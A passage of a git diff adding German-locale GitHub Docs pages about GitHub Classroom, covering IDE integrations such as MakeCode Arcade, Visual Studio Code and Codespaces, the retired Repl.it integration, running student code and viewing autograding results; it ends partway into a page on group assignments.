index 0000000000..4272e08f49
--- /dev/null
+++ b/translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md
@@ -0,0 +1,31 @@
+---
+title: About using MakeCode Arcade with GitHub Classroom
+shortTitle: About using MakeCode Arcade
+intro: 'You can configure MakeCode Arcade as the online IDE for assignments in {% data variables.product.prodname_classroom %}.'
+versions:
+  fpt: '*'
+redirect_from:
+  - /education/manage-coursework-with-github-classroom/student-experience-makecode
+  - /education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom
+---
+## About MakeCode Arcade
+
+MakeCode Arcade is an online integrated development environment (IDE) for developing retro arcade games using drag-and-drop block programming and JavaScript. Students can write, edit, run, test, and debug code in a browser with MakeCode Arcade. For more information about IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide)."
+
+{% data reusables.classroom.readme-contains-button-for-online-ide %}
+
+The first time the student clicks the button to visit MakeCode Arcade, the student must sign into MakeCode Arcade with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on MakeCode Arcade.
+
+For more information about working on MakeCode Arcade, see the [MakeCode Arcade Tour](https://arcade.makecode.com/ide-tour) and [documentation](https://arcade.makecode.com/docs) on the MakeCode Arcade website.
+
+MakeCode Arcade does not support multiplayer-editing for group assignments. Instead, students can collaborate with Git and {% data variables.product.product_name %} features like branches and pull requests.
+
+## About submission of assignments with MakeCode Arcade
+
+By default, MakeCode Arcade is configured to push to the assignment repository on {% data variables.location.product_location %}. After making progress on an assignment with MakeCode Arcade, students should push changes to {% data variables.location.product_location %} using the {% octicon "mark-github" aria-label="The GitHub mark" %}{% octicon "arrow-up" aria-label="The up arrow icon" %} button at the bottom of the screen.
+
+![MakeCode Arcade version control functionality](/assets/images/help/classroom/ide-makecode-arcade-version-control-button.png)
+
+## Further reading
+
+- "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)"
diff --git a/translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-visual-studio-code-with-github-classroom.md b/translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-visual-studio-code-with-github-classroom.md
new file mode 100644
index 0000000000..580ab6a51d
--- /dev/null
+++ b/translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-visual-studio-code-with-github-classroom.md
@@ -0,0 +1,50 @@
+---
+title: Informationen zur Verwendung von Visual Studio Code mit GitHub Classroom
+shortTitle: About using Visual Studio Code
+intro: 'Du kannst {% data variables.product.prodname_vscode %} als bevorzugten Editor für Zuweisungen in {% data variables.product.prodname_classroom %} konfigurieren.'
+versions:
+  fpt: '*'
+redirect_from:
+  - /education/manage-coursework-with-github-classroom/about-using-vs-code-with-github-classroom
+ms.openlocfilehash: fe0e8e0c3194f9c97cc30c80dcec00256824e6ab
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145148744'
+---
+## Informationen zu {% data variables.product.prodname_vscode %}
+
+{% data variables.product.prodname_vscode %} ist ein einfacher, aber dennoch leistungsfähiger Quellcode-Editor, der auf deinem Desktop ausgeführt wird und für Windows, macOS und Linux verfügbar ist. Mit der [GitHub Classroom-Erweiterung für {% data variables.product.prodname_vscode_shortname %}](https://aka.ms/classroom-vscode-ext) können Schüler ihre Kursaufgaben einfach durchsuchen, bearbeiten, übermitteln, zusammen bearbeiten und testen. Weitere Informationen zu IDEs und {% data variables.product.prodname_classroom %} findest du unter [Integrieren von {% data variables.product.prodname_classroom %} mit einer IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide).
+
+### Der Studenten-Editor der Wahl 
+Die GitHub Classroom-Integration mit {% data variables.product.prodname_vscode_shortname %} bietet Kursteilnehmern ein Erweiterungspaket, das Folgendes enthält:
+
+1. [GitHub Classroom-Erweiterung](https://aka.ms/classroom-vscode-ext) mit benutzerdefinierten Abstraktionen, die es Schülern erleichtern, zu navigieren.
+2. [Visual Studio Live Share-Erweiterung](https://marketplace.visualstudio.com/items?itemName=MS-vsliveshare.vsliveshare-pack), die in eine Schüleransicht integriert wird, um den Zugriff auf Lehrassistenten und Klassenkollegen für Hilfe und Zusammenarbeit zu erleichtern.
+3. [GitHub Pull Request-Erweiterung](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-pull-request-github), mit der Schüler Feedback von ihren Kursleitern innerhalb des Editors sehen können. 
+
+### So startest du die Zuordnung in {% data variables.product.prodname_vscode_shortname %}
+Beim Erstellen einer Zuordnung kann {% data variables.product.prodname_vscode_shortname %} als bevorzugter Editor für eine Zuordnung hinzugefügt werden. Weitere Details findest du unter „[Integrieren von {% data variables.product.prodname_classroom %} mit einer IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide)".
+
+Dies umfasst ein „Öffnen in {% data variables.product.prodname_vscode_shortname %}"-Badge in allen Studenten-Repositorys. Dieses Signal behandelt die Installation von {% data variables.product.prodname_vscode_shortname %}, das Classroom-Erweiterungspaket und das Öffnen der aktiven Zuordnung mit einem Klick.
+
+{% note %}
+
+**Hinweis:** Der Schüler muss Git auf ihrem Computer installiert haben, um den Code von {% data variables.product.prodname_vscode_shortname %} in das Repository zu pushen. Dies wird nicht automatisch installiert, wenn du auf die Schaltfläche **Öffnen in {% data variables.product.prodname_vscode_shortname %}** klickst. Der Schüler kann Git [hier](https://git-scm.com/downloads) herunterladen.
+
+{% endnote %}
+
+### Verwenden des GitHub Classroom-Erweiterungspakets 
+Die GitHub Classroom-Erweiterung verfügt über zwei Hauptkomponenten: die Ansicht ‚Klassenzimmer‘ und die Ansicht ‚Aktive Zuordnung‘. 
+
+Wenn der Kursteilnehmer die Erweiterung zum ersten Mal startet, werden sie automatisch zur Registerkarte Explorer in {% data variables.product.prodname_vscode_shortname %} navigiert, wo sie die Ansicht „Aktive Zuordnung“ neben der Strukturansicht von Dateien im Repository sehen können. 
+
+![Aktive Zuweisungsansicht für GitHub Classroom](/assets/images/help/classroom/vs-code-active-assignment.png)
+
+Der Kursteilnehmer kann seine Commits an die neueste Remoteversion pushen, indem er auf die Schaltfläche **Synchronisierungsänderungen** klickt, die beim Zeigen auf die Zeile „Aktive Zuordnung" angezeigt wird. Dies abstrahiert die Quellsteuerung mit Git, sodass Lehrer Git in ihrem eigenen Tempo unterrichten können.
+Synching-Änderungen löst auch „Tests" zur Ausführung aus, wenn ein Lehrer die automatische Gradierung für seine Aufgabe konfiguriert hat.
+
+Der Knoten „Gruppe" unter Gruppe „Aktive Zuordnung" zeigt Mitglieder einer Gruppe an, wenn die Zuordnung ein Gruppenprojekt ist. Außerdem werden die Administrator-Mitglieder des Repositorys angezeigt, die ihnen helfen können, wenn ein Kursteilnehmer hängen bleibt. Um mit dem Projekt zusammenzuarbeiten, kann ein Kursteilnehmer eine Live Share-Sitzung mit irgendeinem Gruppenknoten starten, und sie teilen sofort den gesamten Kontext des Repositorys mit ihnen. Du kannst [hier](https://docs.microsoft.com/en-us/visualstudio/liveshare/) mehr über Live Share und die Zusammenarbeit damit erfahren.
+
+Sobald ein Schüler mit der Aufgabe fertig ist, können sie auch navigieren, um andere Aufgaben und Klassenzimmer anzuzeigen. Diese findest du auf der GitHub-Registerkarte.
diff --git a/translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/index.md b/translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/index.md
new file mode 100644
index 0000000000..b6592649dd
--- /dev/null
+++ b/translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/index.md
@@ -0,0 +1,21 @@
+---
+title: Integrieren von GitHub Classroom in eine IDE
+shortTitle: Integrate with an IDE
+intro: 'Du kannst Student*innen beim Schreiben, Testen und Debuggen von Code helfen, indem du eine Entwicklungsumgebung für Zuweisungsrepositorys auf {% data variables.product.prodname_classroom %} vorkonfigurierst.'
+versions:
+  fpt: '*'
+children:
+  - /integrate-github-classroom-with-an-ide
+  - /using-github-codespaces-with-github-classroom
+  - /about-using-visual-studio-code-with-github-classroom
+  - /about-using-makecode-arcade-with-github-classroom
+  - /replit-with-github-classroom
+  - /run-student-code-in-an-ide
+ms.openlocfilehash: 3ef805653af1474eeab0cbe69d0fafa994f2433f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145106379'
+---
+
diff --git a/translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md b/translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md
new file mode 100644
index 0000000000..9815f648c6
--- /dev/null
+++ b/translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md
@@ -0,0 +1,45 @@
+---
+title: Integrate GitHub Classroom with an IDE
+shortTitle: Integrate with an IDE
+intro: 'You can preconfigure a supported integrated development environment (IDE) for assignments you create in {% data variables.product.prodname_classroom %}.'
+versions:
+  fpt: '*'
+permissions: 'Organization owners who are admins for a classroom can integrate {% data variables.product.prodname_classroom %} with an IDE. {% data reusables.classroom.classroom-admins-link %}'
+redirect_from:
+  - /education/manage-coursework-with-github-classroom/online-ide-integrations
+  - /education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide
+  - /education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-online-ide
+---
+## About integration with an IDE
+
+{% data reusables.classroom.about-online-ides %} 
+
+After a student accepts an assignment with an IDE, the README file in the student's assignment repository will contain a button to open the assignment in the IDE. The student can begin working immediately, and no additional configuration is necessary.
+
+## Supported IDEs
+
+{% data variables.product.prodname_classroom %} supports the following IDEs. You can learn more about the student experience for each IDE.
+
+| IDE | More information |
+| :- | :- |
+| {% data variables.product.prodname_github_codespaces %} | "[Using {% data variables.product.prodname_github_codespaces %} with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom)" |
+| Microsoft MakeCode Arcade | "[About using MakeCode Arcade with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom)" |
+| {% data variables.product.prodname_vscode %} | [{% data variables.product.prodname_classroom %} extension](http://aka.ms/classroom-vscode-ext) in the Visual Studio Marketplace |
+
+We know cloud IDE integrations are important to your classroom and are working to bring more options. 
+
+## Configuring an IDE for an assignment
+
+You can choose the IDE you'd like to use for an assignment when you create an assignment. To learn how to create a new assignment that uses an IDE, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)."
+
+## Setting up an assignment in a new IDE
+
+The first time you configure an assignment using a different IDE, you must ensure that it is set up correctly.
+
+Unless you use {% data variables.product.prodname_github_codespaces %}, you must authorize the OAuth app for the IDE for your organization. For all repositories, grant the app **read** access to metadata, administration, and code, and **write** access to administration and code. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)."
+
+{% data variables.product.prodname_github_codespaces %} does not require an OAuth app, but you need to enable {% data variables.product.prodname_github_codespaces %} for your organization to be able to configure an assignment with {% data variables.product.prodname_github_codespaces %}. For more information, see "[Using {% data variables.product.prodname_github_codespaces %} with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom#enabling-codespaces-for-your-organization)."
+
+## Further reading
+
+- "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)"
diff --git a/translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/replit-with-github-classroom.md b/translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/replit-with-github-classroom.md
new file mode 100644
index 0000000000..2c87cd3e62
--- /dev/null
+++ b/translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/replit-with-github-classroom.md
@@ -0,0 +1,34 @@
+---
+title: Repl.it mit GitHub Classroom
+shortTitle: Repl.it with GitHub Classroom
+intro: 'Ab dem 13. Juli 2021 ist die Integration „Repl.it“ in {% data variables.product.prodname_classroom %} nicht mehr verfügbar.'
+versions:
+  fpt: '*'
+redirect_from:
+  - /education/manage-coursework-with-github-classroom/student-experience-replit
+  - /education/manage-coursework-with-github-classroom/about-using-replit-with-github-classroom
+  - /education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-replit-with-github-classroom
+ms.openlocfilehash: 4ecbb8e185475dafac8e2e768e89ebaa1051433b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145106376'
+---
+## Was sich mit der Repl.it-Integration ändert
+
+Ab dem 13. Juli 2021 ist die Repl.it-Integration nicht mehr verfügbar. Hier erfährst Du, was geändert wurde:
+
+- Neue private und öffentliche Repls können nicht mehr innerhalb von GitHub Classroom erstellt werden.
+- Replit Hacker-Vorteile wie Always On und Boosts sind für neue GitHub Classroom-Benutzer nicht mehr verfügbar.
+
+## Was bedeutet das für vorhandene Zuweisungen?
+Deine vorhandenen GitHub Classroom-Repls bleiben weiterhin privat und du kannst über diese Repls bis zum 30. September 2021 Arbeit an GitHub Classroom übermitteln. Nach September 2021 funktioniert das Replit-Symbol für die Zuweisung README nicht mehr. Wir empfehlen Dir, die Anweisungen aus jeder README mithilfe der Integration zu entfernen und Kursteilnehmer wissen zu lassen, dass das Symbol nicht mehr funktioniert.
+
+Während du private Repls nicht mehr innerhalb von Classroom erstellen kannst, kannst du weiterhin private Repls in Replit bis zum 30. September erstellen.
+
+Wir wissen, dass Cloud-IDE-Integrationen für deine Klasse wichtig sind und arbeiten hart, um Dir mehr Optionen zur Verfügung zu stellen. 
+
+## Weitere Informationsquellen
+
+- [Informationen zu README-Dateien](/github/creating-cloning-and-archiving-repositories/about-readmes)
diff --git a/translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/run-student-code-in-an-ide.md b/translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/run-student-code-in-an-ide.md
new file mode 100644
index 0000000000..ed1d4b489a
--- /dev/null
+++ b/translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/run-student-code-in-an-ide.md
@@ -0,0 +1,28 @@
+---
+title: Ausführen von Kursteilnehmercode in einer IDE
+intro: 'Du kannst den Code im Rahmen eines Arbeitsauftrags für Kursteilnehmer in der integrierten Entwicklungsumgebung (IDE) ausführen, die du für den Arbeitsauftrag konfiguriert hast.'
+versions:
+  fpt: '*'
+redirect_from:
+  - /education/manage-coursework-with-github-classroom/running-student-code
+  - /education/manage-coursework-with-github-classroom/run-student-code-in-an-online-ide
+  - /education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/run-student-code-in-an-online-ide
+shortTitle: Run code in IDE
+ms.openlocfilehash: cf931f9de8f9b29e85fedb6ba5d984f3943ad872
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145102699'
+---
+## Informationen zu Kursteilnehmercode und IDEs
+
+Wenn du eine integrierte Entwicklungsumgebung (Integrated Development Environment, IDE) für eine Aufgabe konfigurierst, kannst du den Code innerhalb der IDE ausführen. Du musst das Repository für die Aufgabe nicht auf deinen Computer klonen.
+
+Weitere Informationen zu IDEs findest du unter [Integrieren von {% data variables.product.prodname_classroom %} in eine IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide).
+
+## Ausführen von Kursteilnehmercode in der IDE 
+
+{% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-assignment-in-list %}
+1. Klicke rechts neben einer Übermittlung auf **IDE anzeigen**.
+  ![Schaltfläche „IDE anzeigen“ für eine Übermittlung unter Verwendung einer Online-IDE](/assets/images/help/classroom/assignments-click-view-ide.png)
diff --git a/translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom.md b/translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom.md
new file mode 100644
index 0000000000..34a57ee0e7
--- /dev/null
+++ b/translations/de-DE/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom.md
@@ -0,0 +1,102 @@
+---
+title: Using GitHub Codespaces with GitHub Classroom
+shortTitle: Using Codespaces with GitHub Classroom
+product: '{% data reusables.gated-features.codespaces-classroom-articles %}'
+intro: 'You can use {% data variables.product.prodname_github_codespaces %} as the preferred editor in your assignments to give students access to a browser-based Visual Studio Code environment with one-click setup.'
+versions:
+  fpt: '*'
+permissions: 'Organization owners who are admins for a classroom can enable {% data variables.product.prodname_github_codespaces %} for their organization and integrate {% data variables.product.prodname_github_codespaces %} as the supported editor for an assignment. {% data reusables.classroom.classroom-admins-link %}'
+---
+## About {% data variables.product.prodname_github_codespaces %}
+
+{% data variables.product.prodname_github_codespaces %} is an instant, cloud-based development environment that uses a container to provide you with common languages, tools, and utilities for development. {% data variables.product.prodname_github_codespaces %} is also configurable, allowing you to create a customized development environment that is the same for all users of your project. For more information, see "[{% data variables.product.prodname_github_codespaces %} overview](/codespaces/overview)."
+
+Once {% data variables.product.prodname_github_codespaces %} is enabled in an organization or enterprise, users can create a codespace from any branch or commit in an organization or enterprise repository and begin developing using cloud-based compute resources. You can connect to a codespace from the browser or locally using Visual Studio Code. 
+
+{% data reusables.codespaces.links-to-get-started %}
+
+Setting {% data variables.product.prodname_github_codespaces %} as the preferred editor for an assignment in GitHub Classroom assignments, is beneficial for both students and teachers. {% data variables.product.prodname_github_codespaces %} is a good option for students using loaned devices or without access to a local IDE setup, since each codespace is cloud-based and requires no local setup. Students can launch a codespace for an assignment repository in Visual Studio Code directly in their browser, and begin developing right away without needing any further configuration.  
+
+For assignments with complex setup environments, teachers can customize the dev container configuration for a repository's codespaces. This ensures that when a student creates a codespace, it automatically opens with the development environment configured by the teacher. For more information on dev containers, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)."
+
+{% note %}
+
+**Note**: Individual codespaces are automatically deleted if they are stopped and left unused for a prolonged period. For more information, see "[Configuring automatic deletion of your codespaces](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces)."
+
+{% endnote %}
+
+{% data reusables.education.student-codespaces-benefit %}
+
+{% note %}
+
+**Note:** {% data reusables.education.note-on-student-codespaces-usage %} 
+
+{% endnote %}
+
+## About the {% data variables.product.prodname_codespaces %} Education benefit for verified teachers
+
+The {% data variables.product.prodname_codespaces %} Education benefit gives verified teachers a free monthly allowance of {% data variables.product.prodname_github_codespaces %} hours to use in {% data variables.product.prodname_classroom %}. The free allowance is estimated to be enough for a class of 50 with 5 assignments per month, on a 2 core machine with 1 codespace stored per student.
+
+{% data reusables.classroom.free-limited-codespaces-for-verified-teachers-beta-note %}
+
+To become a verified teacher, you need to be approved for an educator or teacher benefit. For more information, see "[Apply to {% data variables.product.prodname_global_campus %} as a teacher](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher)." 
+
+After you have confirmation that you are a verified teacher, visit [{% data variables.product.prodname_global_campus %} for Teachers](https://education.github.com/globalcampus/teacher) to upgrade the organization to GitHub Team. For more information, see [GitHub's products](/get-started/learning-about-github/githubs-products#github-team). 
+
+If you are eligible for the {% data variables.product.prodname_codespaces %} Education benefit, when you enable {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_classroom %} for your organization, GitHub automatically adds a Codespace policy to restrict machine types for all codespaces in the organization to 2 core machines. This helps you make the most of the free {% data variables.product.prodname_github_codespaces %} usage. However, you can change or remove these policies in your organization settings. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)."
+
+When the {% data variables.product.prodname_codespaces %} Education benefit moves out of beta, if your organization exceeds their free allowance for {% data variables.product.prodname_github_codespaces %} usage, your organization will be billed for additional usage. For more information, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)."
+
+## Enabling {% data variables.product.prodname_codespaces %} for your organization
+
+{% data variables.product.prodname_github_codespaces %} is available to use with {% data variables.product.prodname_classroom %} for organizations that use {% data variables.product.prodname_team %}. If you are eligible for the {% data variables.product.prodname_codespaces %} Education benefit, you must enable {% data variables.product.prodname_github_codespaces %} through {% data variables.product.prodname_classroom %}, instead of enabling it directly in your organization settings. Otherwise, your organization will be billed directly for all usage of {% data variables.product.prodname_github_codespaces %}.
+
+### Enabling Codespaces for an organization when creating a new classroom
+{% data reusables.classroom.sign-into-github-classroom %}
+1. Click **New classroom**.
+   
+  !["New classroom" button](/assets/images/help/classroom/click-new-classroom-button.png)
+
+1. In the list of organizations, click the organization you'd like to use for your classroom. Organizations that are eligible for {% data variables.product.prodname_github_codespaces %} will have a note showing that they are eligible. Optionally, you can create a new organization. For more information, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)."
+
+  ![Choose organization for classroom with codespaces eligibility](/assets/images/help/classroom/org-view-codespaces-eligibility.png)
+
+1. In the "Name your classroom" page, under "{% data variables.product.prodname_codespaces %} in your Classroom", click **Enable**. Note that this will enable {% data variables.product.prodname_github_codespaces %} for all repositories and users in the organization.
+
+  ![Enable Codespaces for org in "Setup classroom basics" page](/assets/images/help/classroom/setup-classroom-enable-codespaces-button.png)
+
+1. When you are ready to create the new classroom, click **Create classroom**.
+
+### Enabling Codespaces for an organization via an existing classroom
+
+{% data reusables.classroom.sign-into-github-classroom %}
+{% data reusables.classroom.click-classroom-in-list %}
+{% data reusables.classroom.click-settings %}
+1. Under "{% data variables.product.prodname_github_codespaces %}", click **Enable**. This will enable {% data variables.product.prodname_github_codespaces %} for all repositories and users in the organization. A new Codespace policy is also added to restrict machine types for all codespaces in the organization to 2 core machines. 
+  
+  ![Enable Codespaces for org in existing classroom settings](/assets/images/help/classroom/classroom-settings-enable-codespaces-button.png)
+
+You can use the same methods as above to disable {% data variables.product.prodname_github_codespaces %} for your organization as well. Note that this will disable {% data variables.product.prodname_github_codespaces %} for all users and repositories in the organization. 
+
+## Configuring an assignment to use {% data variables.product.prodname_codespaces %}
+To make {% data variables.product.prodname_github_codespaces %} available to students for an assignment, you can choose {% data variables.product.prodname_github_codespaces %} as the supported editor for the assignment. When creating a new assignment, in the "Add your starter code and choose your optional online IDE" page, under "Add a supported editor", select **{% data variables.product.prodname_github_codespaces %}** from the dropdown menu. 
+
+![Select Codespaces as supported editor for assignment](/assets/images/help/classroom/select-supported-editor-including-codespaces.png)
+
+If you use a template repository for an assignment, you can define a dev container in the repository to customize the tools and runtimes available to students when they launch a codespace to work on the assignment. If you do not define a dev container, {% data variables.product.prodname_github_codespaces %} will use a default configuration, which contains many of the common tools that your students might need for development. For more information on defining a dev container, see "[Add a dev container configuration to your repository](/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces)."
+
+## Launching an assignment using {% data variables.product.prodname_github_codespaces %}
+
+When a student opens an assignment, the repository's README file includes their teacher's recommendation of the IDE they should use for the work.
+
+![Screenshot of the Codespaces note in the README for a student assignment repository](/assets/images/help/classroom/student-codespaces-readme-link.png)
+
+Students can launch a new or existing codespace by clicking the **Open in GitHub Codespace** button in the README, or by clicking the **{% octicon "code" aria-label="The code icon" %} Code** button on the main page of the assignment repository, then selecting the **Codespaces** tab. From the **Codespaces** tab you can select an existing codespace or create a new one. For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository)."
+
+![Launch new codespace in assignment repository](/assets/images/help/classroom/student-launch-new-codespace.png)
+
+Teachers can view each student's codespace for an assignment in the assignment overview page. You can click on the Codespaces icon on the right side of each student row to launch the codespace. 
+
+![Teacher assignment overview with student's codespaces](/assets/images/help/classroom/teacher-assignment-view-with-codespaces.png)
+
+When you connect to a codespace through a browser, auto-save is enabled automatically. If you want to save changes to the repository, you will need to commit the changes and push them to a remote branch. If you leave your codespace running without interaction for 30 minutes by default, the codespace will timeout and stop running. Your data will be preserved from the last time you made a change. For more information on the lifecycle of a codespace, see "[The codespace lifecycle](/codespaces/developing-in-codespaces/the-codespace-lifecycle)."
diff --git a/translations/de-DE/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/index.md b/translations/de-DE/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/index.md
new file mode 100644
index 0000000000..552b575b87
--- /dev/null
+++ b/translations/de-DE/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/index.md
@@ -0,0 +1,16 @@
+---
+title: Lernen mit GitHub Classroom
+intro: 'Du kannst in {% data variables.product.prodname_classroom %} an Kursaufgaben teilnehmen und Ergebnisse von deinem Lehrer anzeigen.'
+versions:
+  fpt: '*'
+children:
+  - /view-autograding-results
+shortTitle: Learn with Classroom
+ms.openlocfilehash: 0bef8bfbd7e60068f617e393271c31e71b187b28
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145102687'
+---
+
diff --git a/translations/de-DE/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md b/translations/de-DE/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md
new file mode 100644
index 0000000000..7e93c63392
--- /dev/null
+++ b/translations/de-DE/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md
@@ -0,0 +1,30 @@
+---
+title: View autograding results
+intro: You can see results from autograding within the repository for your assignment.
+versions:
+  fpt: '*'
+redirect_from:
+  - /education/manage-coursework-with-github-classroom/reviewing-auto-graded-work-students
+  - /education/manage-coursework-with-github-classroom/view-autograding-results
+---
+## About autograding
+
+Your teacher can configure tests that automatically check your work when you push to an assignment repository on {% data variables.location.product_location %}.
+
+If you're a student and your instructor has configured autograding for your assignment in {% data variables.product.prodname_classroom %}, you'll find autograding test results throughout your assignment repository. If all tests succeed for a commit, you'll see a green checkmark. If any tests fail for a commit, you'll see a red X. You can see detailed logs by clicking the green checkmark or red X.
+
+## Viewing autograding results for an assignment repository
+
+{% data variables.product.prodname_classroom %} uses {% data variables.product.prodname_actions %} to run autograding tests. For more information about viewing the logs for an autograding test, see "[Using workflow run logs](/actions/managing-workflow-runs/using-workflow-run-logs#viewing-logs-to-diagnose-failures)."
+
+The **Actions** tab shows the full history of test runs.
+
+!["Actions" tab with "All workflows" selected](/assets/images/help/classroom/autograding-actions-tab.png)
+
+You can click a specific test run to review log output, like compilation errors and test failures.
+
+![The "{% data variables.product.prodname_classroom %} Autograding Workflow" test results logs in {% data variables.product.prodname_actions %} ](/assets/images/help/classroom/autograding-actions-logs.png)
+
+## Further reading
+
+- "[About status checks](/github/collaborating-with-issues-and-pull-requests/about-status-checks)"
diff --git a/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md b/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md
new file mode 100644
index 0000000000..66cdb5d8b3
--- /dev/null
+++ b/translations/de-DE/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md
@@ -0,0 +1,155 @@
+---
+title: Create a group assignment
+intro: You can create a collaborative assignment for teams of students who participate in your course.
+versions:
+  fpt: '*'
+permissions: 'Organization owners who are admins for a classroom can create and manage group assignments for a classroom. {% data reusables.classroom.classroom-admins-link %}'
+redirect_from:
+  - /education/manage-coursework-with-github-classroom/create-group-assignments
+  - /education/manage-coursework-with-github-classroom/create-a-group-assignment
+---
+## About group assignments
+
+{% data reusables.classroom.assignments-group-definition %} Students can work together on a group assignment in a shared repository, like a team of professional developers.
+
+When a student accepts a group assignment, the student can create a new team or join an existing team. {% data variables.product.prodname_classroom %} saves the teams for an assignment as a set. You can name the set of teams for a specific assignment when you create the assignment, and you can reuse that set of teams for a later assignment.
+
+{% data reusables.classroom.classroom-creates-group-repositories %}
+
+{% data reusables.classroom.about-assignments %}
+
+You can decide how many teams one assignment can have, and how many members each team can have. Each team that a student creates for an assignment is a team within your organization on {% data variables.product.product_name %}. The visibility of the team is secret. Teams that you create on {% data variables.product.product_name %} will not appear in {% data variables.product.prodname_classroom %}. For more information, see "[About teams](/organizations/organizing-members-into-teams/about-teams)."
+
+For a video demonstration of the creation of a group assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)."
+
